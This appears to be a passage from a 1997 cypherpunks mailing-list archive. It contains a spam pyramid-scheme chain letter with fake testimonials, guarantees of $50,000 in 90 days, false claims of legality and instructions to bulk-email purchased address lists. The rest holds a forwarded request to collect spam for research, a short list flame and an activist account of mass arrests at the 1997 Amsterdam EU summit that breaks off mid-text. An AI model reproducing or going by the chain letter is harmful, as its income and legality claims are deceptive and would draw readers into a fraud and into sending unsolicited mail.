Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.


I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!!


If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security.


If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID!



                                                                                   Sincerely,
                                                                                   Christopher Erickson


P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!


"THREW IT AWAY"


I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try".


                                                                                    Dawn W., Evansville, IN
             
"NO FREE LUNCH"


"My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me.


                                                                                    Alan B., Philadelphia, PA


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM


By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur.


Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.


You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine.


I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE.


Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach.


So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"


Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS!


                                                                              Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$


Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!!


MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.


INSTUCTIONS


We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", <B>please read the program very carefully!</B>


This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office.


This is the GREATEST Multi-level Mail OrderMarketng anywhere:


Step (1) <B>ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER.</B>
             Do this by ordering the REPORT from each of the four (4) names listed. For
             each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED
             envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC
             REPORT. International orders should also include $1 extra for postage. It is
             essential that you specify the NAME and NUMBER of the report requested
             to the person you are ordering from. You will need ALL FOUR REPORTS
             because you will be REPRINTING and RESELLING them. DO NOT alter the
             names or sequence other than what the instructions say. IMPORTANT:
             Always provide same-day service on all orders.


Step (2) <B>REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS,
             </B>moving the one that was there down to REPORT #2. Drop the name and
             address under REPORT #2 to REPORT #3, moving the one that was there to
             REPORT #4. The name and address that was under REPORT #4 is dropped
             from the list and this party is no doubt on the way to the bank. When doing
             this, make certain you type the names and addresses ACCURATELY! DO
             NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!


Step (3) <B>HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST,</B> save it as
             Text (.txt) file in its own directory to be used with whatever email program you
             like. Again, REPORT #3 will tell you the best methods of bulk emailing and
             acquiring email lists.


Step (4) <B>EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM</B> (ALL OF THIS IS
             VERY IMPORTANT) TO EVERYONE whose address you can get your hands
             on. Start with friends and relatives since you can encourage them to take
             advantage of this fabulous money-making opportunity. That's what I did. And
             they love me now, more then ever. Then, email to anyone and everyone! Use
             your imagination! You can get email addresses from companies on the
             internet who specialize in email mailing lists and services, mailing them for
             you. These are very inexpensive, 100,000 addresses for around $50.00 up.


<B>IMPORTANT: </B>You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports.


<B>ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS


</B>**** Order each REPORT by NUMBER and NAME ****


ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.


<B>**** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"</B>
  
<B>ORDER REPORT #1 FROM:


</B>          <B>THE "Z" COMPANY
          </B>1506 Audubon Place
          Shreveport, La. 71105


<B>**** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"


ORDER REPORT #2 FROM:


          KZT
</B>          1013 Speed
          Monroe, La. 71201
 
**** <B>REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"


ORDER REPORT #3 FROM:
</B>
          <B>SOUTHERN S. S.</B>
          1324 Chopin
          Bossier City, La. 71112


<B>**** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS"


ORDER REPORT #4 FROM:


          PREMIER CO.
          </B>115 Fielder Lane
          Shreveport, La. 71105



CONCLUSION!


I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing.


To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back.


However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply.


My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK!


<B>"IT WAS TRULY AMAZING"


</B>"Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before".


                                                      Mary Riceland, Lansing, MI


<B>TIPS FOR SUCCESS</B>


Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:


1.      Name your new company. You can use your own name if you desire.


2.      Get a post office box (preferred).


3.      Edit the names and addresses on the program. You MUST remember, your name
         and address go next to REPORT #1 and the others all move down one, with the
         fourth one being bumped OFF.


4.      Obtain as many addresses as possible to send until you receive the information
         on the mailing list companies in REPORT #3.


5.      Decide on the number of programs you intend to send out. The more you send out
         and the quicker you send them, the more money you will make.


6.      After mailing the programs, get ready to fill the orders.


7.      Copy the four 4 REPORTS so you are able to send them out as soon as you
         receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON
         ORDERS YOU RECEIVE!


8.      Make certain the letter and reports are neat and legible.


YOUR GUARANTEE!


The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES  -  ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!!


<B>
REMEMBER:


"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING".


"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE".



GOOD LUCK!</B>






<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 19 Jun 1997 01:09:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Recycling your unwanted junk email
Message-ID: <3.0.2.32.19970619010448.00771b34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Got any SPAM you're not using?  Want to find a good home for it?
A friend of mine passed along this request for spam,
which can be beneficially recycled...
			Bill
--------------
please forward your spam to junk@thehouse.org
(or subscribe junk@thehouse.org to spam lists)



------- Forwarded Message

Return-Path: dc-stuff
Message-Id: <3.0.32.19970618085725.008b69d0@mail.ctp.com>
X-Sender: ybenja@mail.ctp.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 18 Jun 1997 08:57:28 -0700
To: dc-stuff@merde.dis.org
From: Yobie Benjamin <ybenja@ctp.com>
Subject: Spaminator II
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-dc-stuff
Precedence: bulk
X-forward-loop: dc-stuff
Reply-To: Yobie Benjamin <ybenja@ctp.com>
X-Comment:   TO UNSUBSCRIBE: email "unsubscribe dc-stuff" to majordomo@dis.org
X-Comment:   Lonely? Need a friend and lover? email dtangent@defcon.org
X-Comment:   tired of typing? call the Defcon Voice Bridge	801-855-3326
X-Copyright: This message is Copyright all rights reserved unless expressly
limited
Status: O

A few of you have been kind enough to send some spam to
junk@thehouse.org.  Unfortunately, much of it has been significantly
altered, which makes it less useful.  If you send any junkmail, please
leave the headers and body as intact as possible.   

IMPORTANT!!!

That means you shouldn't make a new message and include the junk mail in
it, you
shouldn't send the junk as an attachment, you shouldn't send more than
one piece of junk in a single message, and you shouldn't quote the
message text by insterting characters at the beginning of each line. 
Most of these things aren't that hard to undo, but everyone does them
a bit differently and we'd rather not have to go through and fix them
all.

The best way to do it:

 sendmail junk@thehouse.org < onemessage

or

 formail -ds  sendmail junk@thehouse.org < manymessages


If you use Emacs and VM, the following code will bind J in the summary
window to do the Right Thing.

(defvar flan-junkmail-address "junk@thehouse.org"
  "The address to forward all junkmail to.")

(defun flan-junk-junkmail (prefix-arg)
  "Send all junkmail to 'flan-junkmail-address and delete it."
  (interactive "p")
  (if (interactive-p)
      (vm-follow-summary-cursor))
  (vm-delete-message 1)
  (vm-pipe-message-to-command (concat "/usr/lib/sendmail "
                                      flan-junkmail-address)
                              prefix-arg))

(define-key vm-mode-map "J" 'flan-junk-junkmail)

------- End of Forwarded Message







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ETN Head Office <etnho@euronet.nl>
Date: Thu, 19 Jun 1997 02:43:22 -0700 (PDT)
To: reqfrom@etn.nl
Subject: *** FREE Airfare Quotes from The World's Best Travel Agents
Message-ID: <3.0.16.19970619111833.33afcb9a@euronet.nl>
MIME-Version: 1.0
Content-Type: text/plain



** FREE Airfare Quotes from The World's Best Travel Agents

** Finding the lowest airfare on Internet has become very easy....

Just complete your Fare Request Form (online or request a form)
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: friendly@sailor.coms
Subject: FREE PC SOFTWARE: HOMEBASED OPPORTUNITY
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 21 Jun 1997 10:13:27 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: CNNFN transcript -- EPIC vs. Family Research Council on CDA
In-Reply-To: <199706211620.JAA05418@fat.doobie.com>
Message-ID: <Pine.GSO.3.95.970621130601.14633A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


First: If I were Rotenberg's press whore, I think I'd be fired quickly for
flaming him over wanting big government solutions, including new Federal
agencies, for privacy. 

Second: 20KB messages aren't unusual on cypherpunks. Don't like it, filter
it out, don't read it, unsubscribe. But don't whine about "spam." Get a
clue already.

Third: What I found interesting was Cathy's take on the upcoming CDA
ruling.

Fourth: I sense a bit of envy, Anonymous. What, "second-rate news shows"
like CNN-FN didn't call you for comment? 

-Declan


On Sat, 21 Jun 1997, Huge Cajones Remailer wrote:

> So when did you turn into Rotenberg's press whore?  This 20k transcript
> you just spammed me with is no different than a hundred other mediocre
> debates on second-rate news shows that we have all been subjected to since
> people started whining about the CDA. Boring.
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: lvck1@hotmail.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: putpeel@putpeel.com
Subject: Announcement from Tim at P.E.E.L.
Message-ID: <0000000000.AAA000@putpeel.com>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Subject: Your surfing days are over
Message-ID: <199706231000.LAA01508@faust.guardian.co.uk>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Thu, 26 Jun 1997 03:56:28 -0700 (PDT)
To: tank@xs4all.nl (tank)
Subject: 'EU ROT OP': 607 ARRESTS FOR SOME BROKEN FLAG-POLES
Message-ID: <199706261102.NAA19266@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



We would like you to spread this information in your own
country among groups that are interested in what happened.

'EU ROT OP': 607 ARRESTS FOR SOME BROKEN FLAG-POLES

On June 16 and 17 Amsterdam was host for a European Summit that
should result in the Treaty of Amsterdam. This treaty can be
considered to be even a worsening compared to the Maastricht
Treaty, and therefor a threat to workers, unemployed, and
immigrants inside and outside the EU. Because of this, a very
big number of demonstrations was organised. The municipality of
Amsterdam wanted to use the opportunity to work on a new image.
We must admit the towm succeeded.

Before the summit the police and the mayor of Amsterdam every
time again stressed that Amsterdam should show itself as it is:
demonstrations and other actions would be tolerated as long as
they were held outside the security zones. Strange enough the
police seemed very worried about the announcement of the 'Days
of Chaos': in an internationally spread pamphlet it was announ-
ced that those days (that caused big riots in Hannover, BRD,
last year) should be celebrated in Amsterdam in the weekend
before the summit. Activists didn't take the announcement very
serious, but the police did. The police started an investigati-
on to the producers of the pamphlet and started visiting a
number of (squatted) houses to warn the occupiers not to give
shelter to visitors from outside the Netherlands. 
>From Friday 13th onward, we have been confronted with police
conducts that were unknown in the Netherlands so far. 
An overview on four days of police terror:


Friday 13.06

Although the summit will begin on the 16th of June, protests
against it are already heard. The alternative summit has
started on Thursday. The police in Den Haag is offering a
fortaste of things to come; participants in the Marches that
want to travel by train from Den Haag to Leiden are beaten up
at the station because they refuse to buy a ticket (in a
protest against growing poverty). One person breaks him arm,
some other are wounded as well.
This Friday the 'Days of Chaos' will start at 18.00. As all
expected nothing happens. Only some punks are lying in the sun,
drinking beer. They are being watched by a lot of policemen and
international press. When those leave, the about 200 punks
decide to do the same and start walking in the direction of the
Dutch Bank. On their way some flag-poles with summit flags and
one window of the French consulate are broken. Police and press
react immediately. An enormous amount of riot police and police
vans arrive and a lot of people are arrested very roughly. What
remains of the group is being chased over town. The police
later declares that 17 arrests were made; eyewitnesses say that
much more were arrested, probably fifty.


Saturday 14.06

50.000 people demonstrate against poverty, social exclusion and
unemployment. The police tries to control the peaceful demon-
stration: on the Central Station they seize a red/black flag
because 'it is forbidden to be Anarchist during the summit'.
The demonstration is so big that the whole centre of town is
filled with it. On it's way again flag-poles with summit-flags
are being broken. A group of some hundred demonstrators disag-
rees with the official route and make a half-hearted attempt to
go to the Dutch Bank. The police very easily can prevent this.
Just as the group is about to continu the official route, the
police tries to arrest someone. A small 'riot' is the conse-
quence. Some moments later the windows of a bank at the Leidse-
plein are smashed and one police van is pushed over. The police
decides that it has been enough: near the head quarters of
police they make a square attack on the demonstration, in which
they very roughly beat 300 people out of the demonstration. The
riot police seems especially interested in the heads of demon-
strators. People start throwing with everything they can lay
their hands on; also observers start attacking the police. It
looks as if the police wants to surround a part of the demon-
stration, but for a reason unknown to us they decide not to
complete their action. The demonstration therefor goes on to
the Dam square, breaking the remaining flag-poles on its way. 

When the demonstration arrives at the Dam square it turns out
that a group of 131 Italians is being held hostage at the
Central Station. They were part of a group of 3000 Italians
that wanted to join the demonstration. All of them have been
prohibited to leave the train. Directly after the demonstartion
about most Italians are allowed to leave the train. Almost 200
must stay in the train. They are being held at the station
because they are accused of damaging the train that brought
them to Amsterdam. After a few hours the group is being hand-
cuffed and transferred to a prison in Amsterdam. Near the
station people that protest against this are being beaten up by
the police. Later that night the Italians are put on the train
back to Italy. In this period they got no water or food. In
Germay the trains is stopped several times. It later shows that
the Dutch and German authorities are putting pressure on Italy
to arrest the group after arriving in Italy. The Italian
authorities refuse to do so. 
The reason for the special treatment of the Italians is not
clear. Officialy it is said that they damaged the train; on the
other hand there are statements by the prosecutor that the
police wanted to prevent that the Italians would join the
German and Dutch 'autonomous blocks' in the demonstration. The
funniest statement by the prosecutor: "If you saw what was
coming out of this train, than you know what could have happe-
ned". 

In a television interview later this evening the mayor tells to
be very pleased with the demonstration: 'unique in the history
of the EU', 'so may people from so many countries', 'a privili-
ge for Amsterdam'. On questions about the incidents during the
demonstration he answers that compared to the amount of demon-
strators nothing really happened; just some broken windows of a
bank and one police van pushed over is neglectable, especially
compared to what happens in other countries in demonstrations
like this. According to the mayor, Amsterdam has shown that it
can be host for opponents of the EU as well. Not a word on the
treatment of the Italians.

The people that joined the Marches, and who arrived from all
over Europe on Friday, were given a hospitable reception by the
municipality of Amsterdam. They can shake hands with the mayor
on Friday afternoon and get shelter in a school in Amsterdam-
west. After the demonstration on Saturday they are tired and
want to go to bed. An unpleasant surprise: the municipality has
decided that its hospitality will last till Saturday evening.
Under the device "your demonstration is over" the marchers are
thrown on the street in the middle of the night. A part of them
is angry about this treatment and refuses to leave the school.
The police beats them out. So far the proverbial Dutch hospita-
lity.


Sunday 15.06

Three demonstrations: a streetrave (Legalize!) against the EU
drug policy; the Ero summit for sexual diversity; a demonstra-
tion at the homo-monument for the rights of lesbians and gays. 
The route of the Legalize!-demonstration was planned in consul-
tation with the police. At the begin of the demonstration the
police orders another route. The organisers agree, the 2000
demonstrators don't. They dance their planned route, reminding
the police of the words of the mayor: demonstrations outside
the security zones will not be obstructed. Police provocations
during the streetrave are not answered. 
The Ero summit and the gay and lesbian demonstration are a big
success because of the omnipresent press.

In the morning there already is a high police activity near
Vrankrijk, one of the information points for demonstrators
against the EU. The streets are almost blocked by police and in
front of Vrankrijk the police is filming people with a special
video-van. People throw paint at the van to make the filming
impossible. 
In the evening it becomes clear why the police has been fil-
ming. People that leave Vrankrijk are arrested and charged on
the accusation of being 'member of a criminal organisation'
(section 140, Penal law). After 18.00h people who have visited
Vrankrijk are arrested all over the centre of town; some of
them by a police unit dressed in civil clothes, blindfolding
the people they arrested and transporting them in a black
Mercedes. 
At 21.00h a group of 350 people leaves Vrankrijk for a demon-
stration at the headquarters of police, to show their solidari-
ty with those arrested before. It will be the shortest demon-
stration of their lifes: after 20 meters they are surrounded by
riot police. The group sits down on the street to wait for what
will happen; the police 'cleans' the area around Vrankrijk.
Also the press is kept at a big distance. Press that can come
closer is obstructed when taking pictures of ill-treatment and
other violations by the police. All 350 people are arrested on
the charge of 'membership of a criminal organisation' (section
140). Also spectators that protest are arrested as members of
the same organisation. It is the biggest mass-arrest since
1966. 

After the transport of the arrested people the police raises
their cordons. New demonstrators and other people that are
curious about what happened fill the bar in Vrankrijk: the
birth of a second criminal organisation. Again the neighbour-
hood is fenced off by the police, and it becomes clear that
they are planning a raid on Vrankrijk to arrest all inside.
People that leave the bar are arrested, handcuffed and trab-
sported as member of a criminal organisation. 
The arrested people are transported to prisons all over the
Netherlands.

In the first comments on the police operation in which 382
people have been arrested, a lot of people show their disbelie-
ve on what happened. It is clear that the accusation of mem-
bership of a criminal organisation is only meant to keep people
from the streets for a few days, till after the summit. It also
becomes clear that the operation was planned long before the
summit. 


Monday 16.06

The actual start of the summit. In the centre of Amsterdam the
police control is absolute. Vans and riot police are everywhe-
re, raid vans are crossing through town and observation units
are working overtime. Everywhere people are arrested, arbitrary
and only because of their appearance. In 'de Pijp', an area far
away from all political activity, 7 people are arrested for
'violation of the prohibition of gathering'. 
In the afternoon there will be a demonstration against the
European migration policy. The organisors mean to go by bicycle
to the refugee prison in Amsterdam South East, and pass by the
Dutch Bank as near by as possible. On the Heineken square, were
the demonstration will start at 16.00h, there is a lot of
police ativity at 15.30 pm. Journalists are forced to leave the
square, people who are drinking beer on the pavement outside
bars are ordered to go inside. All bikes on the square have to
be removed. When people start gathering at 16.00h, there is
already a lot of police. However, it is still possible for
bikers to go into the direction of the Dutch Bank. 
When the head of the demonstration starts forming (directed
towards the bank) suddenly al lot of riot police is out of
their vans and prevents the demonstration to leave in the
direction it wanted to. Because the riot police is obviously
aiming at directing the demonstration of about 800 bikers awy
from the centre, the demonstration decides to cycle through the
narrow streets near the Heineken square. Because the police can
not easily follow the demonstration, the head of the demonstra-
tion can reach the bridge near the Dutch Bank. Panic within the
omnipresent police force: the head of the demonstration is only
150 meters away from the bank! The police decides to split the
demonstration. The back part of the demonstration can not join
the 500 people that are on the brifge. After shouting at the
bank and the policelines for 15 minutes the splitted groups
reunite again in another street. During the demonstration
itself nothing happens anymore, due to the route. The chosen
route made it almost impossible for the police to follow it
with vans. 
The demonstration at the prison is calm. In a creative way the
1200 demonstrators try to communicate with prisoners (by
shooting tennis balls on the inner court, digging a tunnel,
climb up the fences with ladders etc). However, the police
thinks it is too calm. Just before the planned end of the
demonstration the police radio announces the description of a
man they want to arrest. The man concerned is warned by others,
but he says that he has nothing to fear because he didn't do
anything wrong. When the demonstration is ended at 21.00h,
suddenly two arrest-units jump on the man and arrest him. A lot
of people run to the place where it happens, things are getting
out of hand, but just in time people realise that that was the
only purpose of the arrest. 

At 22.00h some hundreds of people gather at the Nieuwmarkt for
a demonstration. They want to walk to the hotels where the
ministers are staying, and cheer very loudly to thank them for
the splendid work they have been doing. It is clear that it
will be a demonstration with a very playful character. The
organisers begin the demonstration with offering a cake to
Chirac. After having delivered the cake at the entrance of the
hotel Chirac is staying, the group walks to the next hotel. The
jolly march is stopped by the riot police. The demonstration
walks back but is soon completely surrounded by police. After
30 minutes it becomes clear that there will be another mass-
arrest. Some people can escape using a boat that passes by. On
the other side of the water people are visibly disagreeing on
the second mass-arrest in two days. They also are about to be
surrounded. They can leave just in time, taking (again) some
flag-poles. Ten others are arrested on the other side of the
water while watching what is happening and transported together
with the others. 
In the meantime the demonstrators keep on cheering, but this
time for the police. They applaud for the riot police and civil
police. People start collecting money to contribute a little to
this money swallowing police operation. When the busses arrive
to take arrested people awy a lot of people show their tickets
in order to pay for the service. One journalist is also arre-
sted, her accreditation is seized. All 143 arrested people are
searched and handcuffed with plastic strips. Some of them are
told by the police that they have been arrested on .... section
140. They have to sit in the busses, that are not leaving for
one hour. When the busses start driving, they take a very
special route. After three hours (!) the busses arrive at the
prison: a route that can be done in 15 minutes. 
After having spend several hours on the cold floor, the people
who told their name are released. They get a fine of 125
guilders. The arrested people that refused to give their names
are released after 6 hours. 
After their release they cab read in the newspapers that they
were involved in riots and that they tried to enter a security
zone. The police says that they made this clear by warning the
demonstration and charging at it. None of those arrested nor
journalist have heard the warnings nor have they seen a police
charge. The spokesman of the police later says that the demon-
strators violated the restriction in zone 3. When a reporter
asks him how one can know that he or she is entering zone 3,
because there are no signs indicating this, the spokesman says
that zone 3 can easily be recognized because of the amount of
policemen one can see.

One of the arrested demonstrators is immediately arrested after
his release, because he unpacks his belongings from his search-
packet. The police officer involved feels provocated by that.
He decides to let the man go, but not after fining him with 40
guilders for disturbing public order.





Tuesday 17.06
Trial against the State in order to have the 343 arrested
people from Sundaynight released. 
The judge decides to realease three of the four persons that
are proceeding because there is no proof for their individual
contribution to the 'criminal organisation' Vrankrijk. The
judge declares that the verdict also applies for others in the
same position. The Ministry of Justice and the public prosecu-
tor have their own interpretation: in the verdict they read
that they don't have to release the others because the judge
said that mebership should be proved individually. With this
argumentation the arrested people are kept in detention till
after the summit. 
In the morning the authorities start deporting the foreigners
amongst the ones arrested. Some of them are delivered to the
national police (in Germany, Belgium), to avoid long lasting
extradiction procedures. Many of them have been deported
without getting back their personal belongings that were seized
when they were arrested. Passports and money were missing. Some
of those persons have again been arrested for not having
identity papers. It lasted untill Thursday before it was clear
that there were a lot of passports and other things at the
headquarters of police. Untill now the police refuses to hand
over the passports to the lawyers; the police says that people
can come and get them theirselves. 

In the afternoon there is a planned 'autonomous' demonstration
against a capitalist unified Europe, from the Dam square to the
theatre Carr,, where the Dutch prime-minister will have a press
conference to announce the results of the summit. 
The authorities decide to take a firm stand. The demonstration,
scheduled for two o'clock, is prohibited one hour before. Wit-
hout success: 2000 people gather at the Dam square, not only to
protest against the unification of Europe, but also against the
police brutalities during the summit. 
The demonstration is guarded by an overwhelming amount of
police. Uniformed ('normal') police is aware that the demon-
stration has a peaceful character and tries to keep away the
